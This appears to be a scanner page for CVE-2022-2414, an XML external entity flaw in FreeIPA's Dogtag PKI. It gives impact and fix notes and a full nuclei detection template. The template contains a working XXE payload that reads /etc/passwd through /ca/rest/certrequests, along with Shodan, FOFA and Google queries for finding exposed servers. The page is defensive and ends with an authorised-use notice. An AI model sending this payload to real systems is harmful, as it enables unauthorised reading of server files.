FreeIPA - XML Entity Injection

highseverity

7.5CVSS score

85.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.

Fix

Apply the latest security patches and updates provided by the vendor to fix the XML Entity Injection vulnerability in FreeIPA.

How to confirm it

Send: POST /ca/rest/certrequests
Positive when: matches /root:.*:0:0:/ AND contains "PKIException" AND contains in header "application/xml" AND status 400

Run it with nuclei: nuclei -id CVE-2022-2414 -u <target>

The full check

id: CVE-2022-2414

info:
  name: FreeIPA - XML Entity Injection
  author: DhiyaneshDk
  severity: high
  description: |
    Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to fix the XML Entity Injection vulnerability in FreeIPA.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/Dogtag/Dogtag%20PKI%20XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-2414.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2414
    - https://github.com/dogtagpki/pki/pull/4021
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-2414
    cwe-id: CWE-611
    epss-score: 0.85393
    epss-percentile: 0.99721
    cpe: cpe:2.3:a:dogtagpki:dogtagpki:10.5.18:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dogtagpki
    product: dogtagpki
    shodan-query:
      - title:"Identity Management" html:"FreeIPA"
      - http.title:"identity management" html:"freeipa"
    fofa-query:
      - title="Identity Management"
      - title="identity management"
      - title="identity management" html:"freeipa"
    google-query: intitle:"identity management" html:"freeipa"
  tags: cve,cve2022,dogtag,freeipa,xxe,dogtagpki,vkev,vuln

http:
  - raw:
      - |
        POST /ca/rest/certrequests HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <!--?xml version="1.0" ?-->
        <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
        <CertEnrollmentRequest>
          <Attributes/>
          <ProfileID>&ent;</ProfileID>
        </CertEnrollmentRequest>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "PKIException"

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from